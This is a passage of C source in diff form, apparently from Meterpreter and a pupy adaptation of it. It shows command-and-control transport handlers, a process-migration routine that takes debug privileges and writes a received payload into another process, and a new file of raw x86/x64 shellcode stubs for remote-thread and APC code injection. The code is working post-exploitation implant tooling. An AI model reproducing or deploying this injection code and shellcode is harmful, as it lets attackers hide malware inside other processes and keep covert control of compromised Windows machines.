wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL);
|
||||
|
||||
do
|
||||
{
|
||||
if (wcscmp(transportUrl, transport->url) == 0)
|
||||
{
|
||||
found = transport;
|
||||
break;
|
||||
}
|
||||
|
||||
transport = transport->next_transport;
|
||||
} while (transport != remote->transport);
|
||||
|
||||
if (found == NULL || found == remote->transport)
|
||||
{
|
||||
dprintf("[DISPATCH] Transport not found, or attempting to remove current");
|
||||
// if we don't have a valid transport, or they're trying to remove the
|
||||
// existing one, then bomb out (that might come later)
|
||||
result = ERROR_INVALID_PARAMETER;
|
||||
}
|
||||
else
|
||||
{
|
||||
remote->trans_remove(remote, found);
|
||||
dprintf("[DISPATCH] Transport removed");
|
||||
}
|
||||
|
||||
SAFE_FREE(transportUrl);
|
||||
}
|
||||
|
||||
packet_transmit_empty_response(remote, packet, result);
|
||||
dprintf("[DISPATCH] Response sent.");
|
||||
return result;
|
||||
}
|
||||
|
||||
DWORD remote_request_core_transport_add(Remote* remote, Packet* packet)
|
||||
{
|
||||
Transport* transport = NULL;
|
||||
DWORD result = create_transport_from_request(remote, packet, &transport);
|
||||
|
||||
packet_transmit_empty_response(remote, packet, result);
|
||||
return result;
|
||||
}
|
||||
|
||||
BOOL remote_request_core_transport_sleep(Remote* remote, Packet* packet, DWORD* result)
|
||||
{
|
||||
// we'll reuse the comm timeout TLV for this purpose
|
||||
DWORD seconds = packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT);
|
||||
|
||||
dprintf("[DISPATCH] request received to sleep for %u seconds", seconds);
|
||||
|
||||
// to sleep, we simply jump to the same transport, with a delay
|
||||
remote->next_transport_wait = seconds;
|
||||
remote->next_transport = remote->transport;
|
||||
|
||||
packet_transmit_empty_response(remote, packet, ERROR_SUCCESS);
|
||||
*result = ERROR_SUCCESS;
|
||||
|
||||
// exit out of the dispatch loop
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL remote_request_core_transport_change(Remote* remote, Packet* packet, DWORD* result)
|
||||
{
|
||||
Transport* transport = NULL;
|
||||
*result = create_transport_from_request(remote, packet, &transport);
|
||||
|
||||
packet_transmit_empty_response(remote, packet, *result);
|
||||
|
||||
if (*result == ERROR_SUCCESS)
|
||||
{
|
||||
remote->next_transport = transport;
|
||||
// exit out of the dispatch loop.
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Set the current hash that is used for SSL certificate verification.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to the request packet.
|
||||
* @returns Indication of success or failure.
|
||||
*/
|
||||
DWORD remote_request_core_transport_setcerthash(Remote* remote, Packet* packet)
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
Packet* response;
|
||||
|
||||
do
|
||||
{
|
||||
response = packet_create_response(packet);
|
||||
if (!response)
|
||||
{
|
||||
result = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
// no setting of the cert hash if the target isn't a HTTPS transport
|
||||
if (remote->transport->type != METERPRETER_TRANSPORT_HTTPS)
|
||||
{
|
||||
result = ERROR_BAD_ENVIRONMENT;
|
||||
break;
|
||||
}
|
||||
|
||||
unsigned char* certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH);
|
||||
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
|
||||
|
||||
// Support adding a new cert hash if one doesn't exist
|
||||
if (!ctx->cert_hash)
|
||||
{
|
||||
if (certHash)
|
||||
{
|
||||
PBYTE newHash = (unsigned char*)malloc(sizeof(unsigned char)* CERT_HASH_SIZE);
|
||||
if (!newHash)
|
||||
{
|
||||
result = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
memcpy(newHash, certHash, CERT_HASH_SIZE);
|
||||
|
||||
// Set it at the last minute. Mucking with "globals" and all, want to make sure we
|
||||
// don't set it too early.. just in case.
|
||||
ctx->cert_hash = newHash;
|
||||
}
|
||||
else
|
||||
{
|
||||
// at this time, don't support overwriting of the existing hash
|
||||
// as that will cause issues!
|
||||
result = ERROR_BAD_ARGUMENTS;
|
||||
break;
|
||||
}
|
||||
}
|
||||
// support removal of the existing hash
|
||||
else
|
||||
{
|
||||
if (certHash)
|
||||
{
|
||||
result = ERROR_BAD_ARGUMENTS;
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
SAFE_FREE(ctx->cert_hash);
|
||||
}
|
||||
}
|
||||
|
||||
result = ERROR_SUCCESS;
|
||||
} while (0);
|
||||
|
||||
if (response)
|
||||
{
|
||||
packet_transmit_response(result, remote, response);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Get the current hash that is used for SSL certificate verification.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to the request packet.
|
||||
* @returns Indication of success or failure.
|
||||
*/
|
||||
DWORD remote_request_core_transport_getcerthash(Remote* remote, Packet* packet)
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
Packet* response;
|
||||
|
||||
do
|
||||
{
|
||||
response = packet_create_response(packet);
|
||||
if (!response)
|
||||
{
|
||||
result = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
// Rather than error out if the transport isn't HTTPS, we'll just return
|
||||
// an empty response. This prevents a horrible error appearing in the
|
||||
// MSF console
|
||||
if (remote->transport->type == METERPRETER_TRANSPORT_HTTPS)
|
||||
{
|
||||
HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx;
|
||||
if (ctx->cert_hash)
|
||||
{
|
||||
packet_add_tlv_raw(response, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE);
|
||||
}
|
||||
}
|
||||
|
||||
result = ERROR_SUCCESS;
|
||||
} while (0);
|
||||
|
||||
if (response)
|
||||
{
|
||||
packet_transmit_response(result, remote, response);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Migrate the meterpreter server from the current process into another process.
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to the request packet.
|
||||
* @param pResult Pointer to the memory that will receive the result.
|
||||
* @returns Indication of whether the server should continue processing or not.
|
||||
*/
|
||||
BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet * response = NULL;
|
||||
HANDLE hToken = NULL;
|
||||
HANDLE hProcess = NULL;
|
||||
HANDLE hEvent = NULL;
|
||||
BYTE * lpPayloadBuffer = NULL;
|
||||
LPVOID lpMigrateStub = NULL;
|
||||
LPBYTE lpMemory = NULL;
|
||||
MIGRATECONTEXT ctx = { 0 };
|
||||
DWORD dwMigrateStubLength = 0;
|
||||
DWORD dwPayloadLength = 0;
|
||||
DWORD dwProcessID = 0;
|
||||
DWORD dwDestinationArch = 0;
|
||||
|
||||
MetsrvConfig* config = NULL;
|
||||
DWORD configSize = 0;
|
||||
|
||||
do
|
||||
{
|
||||
response = packet_create_response(packet);
|
||||
if (!response)
|
||||
{
|
||||
dwResult = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
// Get the process identifier to inject into
|
||||
dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);
|
||||
|
||||
// Get the target process architecture to inject into
|
||||
dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);
|
||||
|
||||
// Get the length of the payload buffer
|
||||
dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);
|
||||
|
||||
// Receive the actual migration payload buffer
|
||||
lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);
|
||||
|
||||
dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength);
|
||||
|
||||
// If we can, get SeDebugPrivilege...
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
|
||||
{
|
||||
TOKEN_PRIVILEGES priv = { 0 };
|
||||
|
||||
priv.PrivilegeCount = 1;
|
||||
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
|
||||
{
|
||||
if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL));
|
||||
{
|
||||
dprintf("[MIGRATE] Got SeDebugPrivilege!");
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
// Open the process so that we can migrate into it
|
||||
hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID);
|
||||
if (!hProcess)
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] OpenProcess failed")
|
||||
}
|
||||
|
||||
// get the existing configuration
|
||||
dprintf("[MIGRATE] creating the configuration block");
|
||||
remote->config_create(remote, &config, &configSize);
|
||||
dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config);
|
||||
|
||||
if (config->session.comms_fd)
|
||||
{
|
||||
// Duplicate the socket for the target process if we are SSL based
|
||||
if (WSADuplicateSocket(config->session.comms_fd, dwProcessID, &ctx.info) != NO_ERROR)
|
||||
{
|
||||
BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed")
|
||||
}
|
||||
}
|
||||
|
||||
// Create a notification event that we'll use to know when it's safe to exit
|
||||
// (once the socket has been referenced in the other process)
|
||||
hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
if (!hEvent)
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] CreateEvent failed")
|
||||
}
|
||||
|
||||
// Duplicate the event handle for the target process
|
||||
if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx.e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed")
|
||||
}
|
||||
|
||||
// Get the architecture specific process migration stub...
|
||||
if (dwDestinationArch == PROCESS_ARCH_X86)
|
||||
{
|
||||
lpMigrateStub = (LPVOID)&migrate_stub_x86;
|
||||
dwMigrateStubLength = sizeof(migrate_stub_x86);
|
||||
}
|
||||
else if (dwDestinationArch == PROCESS_ARCH_X64)
|
||||
{
|
||||
lpMigrateStub = (LPVOID)&migrate_stub_x64;
|
||||
dwMigrateStubLength = sizeof(migrate_stub_x64);
|
||||
}
|
||||
else
|
||||
{
|
||||
SetLastError(ERROR_BAD_ENVIRONMENT);
|
||||
dprintf("[MIGRATE] Invalid target architecture: %u", dwDestinationArch);
|
||||
break;
|
||||
}
|
||||
|
||||
// Allocate memory for the migrate stub, context, payload and configuration block
|
||||
lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + sizeof(MIGRATECONTEXT) + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (!lpMemory)
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed")
|
||||
}
|
||||
|
||||
// Calculate the address of the payload...
|
||||
ctx.p.lpPayload = lpMemory + dwMigrateStubLength + sizeof(MIGRATECONTEXT);
|
||||
|
||||
// Write the migrate stub to memory...
|
||||
dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength);
|
||||
if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL))
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed")
|
||||
}
|
||||
|
||||
// Write the migrate context to memory...
|
||||
dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, sizeof(MIGRATECONTEXT));
|
||||
if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, &ctx, sizeof(MIGRATECONTEXT), NULL))
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed")
|
||||
}
|
||||
|
||||
// Write the migrate payload to memory...
|
||||
dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx.p.lpPayload, dwPayloadLength);
|
||||
if (!WriteProcessMemory(hProcess, ctx.p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed")
|
||||
}
|
||||
|
||||
// finally write the configuration stub
|
||||
dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx.p.lpPayload + dwPayloadLength, configSize);
|
||||
if (!WriteProcessMemory(hProcess, ctx.p.lpPayload + dwPayloadLength, config, configSize, NULL))
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed")
|
||||
}
|
||||
|
||||
// First we try to migrate by directly creating a remote thread in the target process
|
||||
if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
|
||||
{
|
||||
dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread...");
|
||||
|
||||
// If that fails we can try to migrate via a queued APC in the target process
|
||||
if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
|
||||
{
|
||||
BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed")
|
||||
}
|
||||
}
|
||||
|
||||
dwResult = ERROR_SUCCESS;
|
||||
|
||||
} while (0);
|
||||
|
||||
SAFE_FREE(config);
|
||||
|
||||
// If we failed and have not sent the response, do so now
|
||||
if (dwResult != ERROR_SUCCESS && response)
|
||||
{
|
||||
dprintf("[MIGRATE] Sending response");
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
// Cleanup...
|
||||
if (hProcess)
|
||||
{
|
||||
dprintf("[MIGRATE] Closing the process handle 0x%08x", hProcess);
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
|
||||
if (hEvent)
|
||||
{
|
||||
dprintf("[MIGRATE] Closing the event handle 0x%08x", hEvent);
|
||||
CloseHandle(hEvent);
|
||||
}
|
||||
|
||||
if (pResult)
|
||||
{
|
||||
*pResult = dwResult;
|
||||
}
|
||||
|
||||
// if migration succeeded, return 'FALSE' to indicate server thread termination.
|
||||
dprintf("[MIGRATE] Finishing migration, result: %u", dwResult);
|
||||
return ERROR_SUCCESS == dwResult ? FALSE : TRUE;
|
||||
}
|
||||
|
||||
/*!
|
||||
* @brief Update the timeouts with the given values
|
||||
* @param remote Pointer to the \c Remote instance.
|
||||
* @param packet Pointer to the request packet.
|
||||
* @returns Indication of success or failure.
|
||||
* @remark If no values are given, no updates are made. The response to
|
||||
* this message is the new/current settings.
|
||||
*/
|
||||
DWORD remote_request_core_transport_set_timeouts(Remote * remote, Packet * packet)
|
||||
{
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
Packet* response = NULL;
|
||||
|
||||
do
|
||||
{
|
||||
response = packet_create_response(packet);
|
||||
if (!response)
|
||||
{
|
||||
result = ERROR_NOT_ENOUGH_MEMORY;
|
||||
break;
|
||||
}
|
||||
|
||||
int expirationTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP);
|
||||
int commsTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT);
|
||||
DWORD retryTotal = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL);
|
||||
DWORD retryWait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT);
|
||||
|
||||
// TODO: put this in a helper function that can be used everywhere?
|
||||
|
||||
// if it's in the past, that's fine, but 0 implies not set
|
||||
if (expirationTimeout != 0)
|
||||
{
|
||||
dprintf("[DISPATCH TIMEOUT] setting expiration time to %d", expirationTimeout);
|
||||
remote->sess_expiry_time = expirationTimeout;
|
||||
remote->sess_expiry_end = current_unix_timestamp() + expirationTimeout;
|
||||
}
|
||||
|
||||
if (commsTimeout != 0)
|
||||
{
|
||||
dprintf("[DISPATCH TIMEOUT] setting comms timeout to %d", commsTimeout);
|
||||
remote->transport->timeouts.comms = commsTimeout;
|
||||
remote->transport->comms_last_packet = current_unix_timestamp();
|
||||
}
|
||||
|
||||
if (retryTotal > 0)
|
||||
{
|
||||
dprintf("[DISPATCH TIMEOUT] setting retry total to %u", retryTotal);
|
||||
remote->transport->timeouts.retry_total = retryTotal;
|
||||
}
|
||||
|
||||
if (retryWait > 0)
|
||||
{
|
||||
dprintf("[DISPATCH TIMEOUT] setting retry wait to %u", retryWait);
|
||||
remote->transport->timeouts.retry_wait = retryWait;
|
||||
}
|
||||
|
||||
// for the session expiry, return how many seconds are left before the session actually expires
|
||||
packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp());
|
||||
packet_add_tlv_uint(response, TLV_TYPE_TRANS_COMM_TIMEOUT, remote->transport->timeouts.comms);
|
||||
packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_TOTAL, remote->transport->timeouts.retry_total);
|
||||
packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_WAIT, remote->transport->timeouts.retry_wait);
|
||||
|
||||
} while (0);
|
||||
|
||||
if (response)
|
||||
{
|
||||
packet_transmit_response(result, remote, response);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
|
@ -0,0 +1,605 @@
|
|||
/*
|
||||
This code is originally from meterpreter and has been modified to be integrated into pupy.
|
||||
original code :https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/arch/win/i386/
|
||||
|
||||
Meterpreter is available for use under the following license, commonly known as the
|
||||
3-clause (or "modified") BSD license:
|
||||
|
||||
=========================================================================================
|
||||
|
||||
Meterpreter
|
||||
-----------
|
||||
|
||||
Copyright (c) 2006-2013, Rapid7 Inc
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification, are
|
||||
permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this list of
|
||||
conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
conditions and the following disclaimer in the documentation and/or other materials
|
||||
provided with the distribution.
|
||||
|
||||
* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or
|
||||
promote products derived from this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
|
||||
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
|
||||
THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
|
||||
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
|
||||
OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
|
||||
*/
|
||||
|
||||
//#include "common.h"
|
||||
#include <windows.h>
|
||||
|
||||
#include "thread.h"
|
||||
#include "list.h"
|
||||
#include "remote_thread.h"
|
||||
#include "LoadLibraryR.h"
|
||||
#include "base_inject.h"
|
||||
#include <Tlhelp32.h>
|
||||
#include "Python-dynload.h"
|
||||
|
||||
|
||||
#define BREAK_ON_ERROR( str ) { PyErr_SetString(PyExc_Exception, str); break; }
|
||||
|
||||
// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm'
|
||||
BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00"
|
||||
"\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
|
||||
"\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00"
|
||||
"\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24"
|
||||
"\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24";
|
||||
|
||||
// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm'
|
||||
BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"
|
||||
"\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48"
|
||||
"\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A"
|
||||
"\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9"
|
||||
"\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C"
|
||||
"\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00"
|
||||
"\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40"
|
||||
"\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6"
|
||||
"\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0"
|
||||
"\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40"
|
||||
"\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0"
|
||||
"\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58"
|
||||
"\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A"
|
||||
"\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D"
|
||||
"\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01"
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8"
|
||||
"\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00"
|
||||
"\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x48\x83\xC4\x50\x48\x89\xFC\xC3";
|
||||
|
||||
// see '/msf3/external/source/shellcode/x86/migrate/apc.asm'
|
||||
BYTE apc_stub_x86[] = "\xFC\x8B\x74\x24\x04\x55\x89\xE5\xE8\x89\x00\x00\x00\x60\x89\xE5"
|
||||
"\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F"
|
||||
"\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF"
|
||||
"\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B"
|
||||
"\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01"
|
||||
"\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF"
|
||||
"\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58"
|
||||
"\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04"
|
||||
"\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58"
|
||||
"\x5F\x5A\x8B\x12\xEB\x86\x5B\x80\x7E\x10\x00\x75\x3B\xC6\x46\x10"
|
||||
"\x01\x68\xA6\x95\xBD\x9D\xFF\xD3\x3C\x06\x7C\x1A\x31\xC9\x64\x8B"
|
||||
"\x41\x18\x39\x88\xA8\x01\x00\x00\x75\x0C\x8D\x93\xCF\x00\x00\x00"
|
||||
"\x89\x90\xA8\x01\x00\x00\x31\xC9\x51\x51\xFF\x76\x08\xFF\x36\x51"
|
||||
"\x51\x68\x38\x68\x0D\x16\xFF\xD3\xC9\xC2\x0C\x00\x00\x00\x00\x00"
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x00\x00\x00\x00";
|
||||
|
||||
// see '/msf3/external/source/shellcode/x64/migrate/apc.asm'
|
||||
BYTE apc_stub_x64[] = "\xFC\x80\x79\x10\x00\x0F\x85\x13\x01\x00\x00\xC6\x41\x10\x01\x48"
|
||||
"\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48"
|
||||
"\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48"
|
||||
"\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C"
|
||||
"\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41"
|
||||
"\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B"
|
||||
"\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01"
|
||||
"\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF"
|
||||
"\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41"
|
||||
"\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45"
|
||||
"\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C"
|
||||
"\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41"
|
||||
"\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20"
|
||||
"\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF"
|
||||
"\x5D\x48\x31\xD2\x65\x48\x8B\x42\x30\x48\x39\x90\xC8\x02\x00\x00"
|
||||
"\x75\x0E\x48\x8D\x95\x07\x01\x00\x00\x48\x89\x90\xC8\x02\x00\x00"
|
||||
"\x4C\x8B\x01\x4C\x8B\x49\x08\x48\x31\xC9\x48\x31\xD2\x51\x51\x41"
|
||||
"\xBA\x38\x68\x0D\x16\xFF\xD5\x48\x81\xC4\xA8\x00\x00\x00\xC3\x00"
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x00\x00\x00";
|
||||
|
||||
/*
|
||||
* Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread
|
||||
* Note: Windows Server 2008R2 can blue screen if you use APC injection to inject into another sessions csrss.exe
|
||||
*/
|
||||
DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter )
|
||||
{
|
||||
DWORD dwResult = ERROR_ACCESS_DENIED;
|
||||
HMODULE hNtdll = NULL;
|
||||
NTQUEUEAPCTHREAD pNtQueueApcThread = NULL;
|
||||
HANDLE hThreadSnap = NULL;
|
||||
LPVOID lpApcStub = NULL;
|
||||
LPVOID lpRemoteApcStub = NULL;
|
||||
LPVOID lpRemoteApcContext = NULL;
|
||||
LIST * thread_list = NULL;
|
||||
THREADENTRY32 t = {0};
|
||||
APCCONTEXT ctx = {0};
|
||||
DWORD dwApcStubLength = 0;
|
||||
|
||||
do
|
||||
{
|
||||
thread_list = list_create();
|
||||
if( !thread_list )
|
||||
break;
|
||||
|
||||
ctx.s.lpStartAddress = lpStartAddress;
|
||||
ctx.p.lpParameter = lpParameter;
|
||||
ctx.bExecuted = FALSE;
|
||||
|
||||
t.dwSize = sizeof( THREADENTRY32 );
|
||||
|
||||
// Get the architecture specific apc migration stub...
|
||||
if( dwDestinationArch == PROCESS_ARCH_X86 )
|
||||
{
|
